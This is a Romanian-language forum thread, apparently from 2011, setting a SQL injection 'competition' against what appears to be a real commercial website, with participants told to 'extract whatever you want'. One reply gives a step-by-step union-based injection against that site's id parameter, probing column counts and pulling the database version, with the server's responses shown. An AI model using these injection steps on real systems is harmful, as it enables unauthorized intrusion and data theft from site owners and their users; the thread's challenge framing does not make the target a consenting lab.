Jump to content
vlad1395

[Easy/Medium] SQL Injection

Recommended Posts

Posted (edited)

O noua competitie, care sper ca o sa va placa.

- Sintaxele nu se vor face publice, se vor trimite prin PM !

- Postati aici doar un screen-shot ca dovada ca ati rezolvat (fara a se vedea rezolvarea)

Cerere: Extrageti ce vreti.

Dificultate: Usor

Metoda: MySQL Union Based, Error Based

http://www.lindell.fi/?id=49

SURSA: HF

Proofs:

1: http://img10.imageshack.us/img10/8785/asssyat.jpg (@ daemien)

2: http://img90.imageshack.us/img90/6122/lindell1.png

Solvers

daemien

ghostwhite85

Edited by vlad1395
Posted

la aceasta competie, DA. am scris in descriere:

" Metoda: MySQL Union Based, Error Based "

------------------------------------------------

Este foarte usoara, dar poate unora vi se poate parea interesanta, mai ales cu DQ

Posted

30/04/2011 data postarii challenge-ului

O modalitate de aflare a versiunii:

1)

 http://www.lindell.fi/?id=-49 'union select 1, 

MySQL Error: 1222 (The used SELECT statements have a different number of columns)

2)

 http://www.lindell.fi/?id=-49 'union select 1,2' 

...

La fel pana cand eroare dispare (la 9)

9)

http://www.lindell.fi/?id=-49 'union select 1,2,3,4,5,6,7,8,9'

The requested URL /7 was not found on this server.

Ne zice ce coloana se afiseaza si anume 7.

Inlocuim 7 cu @@version.

http://www.lindell.fi/?id=-49 'union select 1,2,3,4,5,6,@@version,8,9' 


The requested URL /5.0.22-log was not found on this server.
Apache/2.2.3 (CentOS) Server at www.lindell.fi Port 80

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...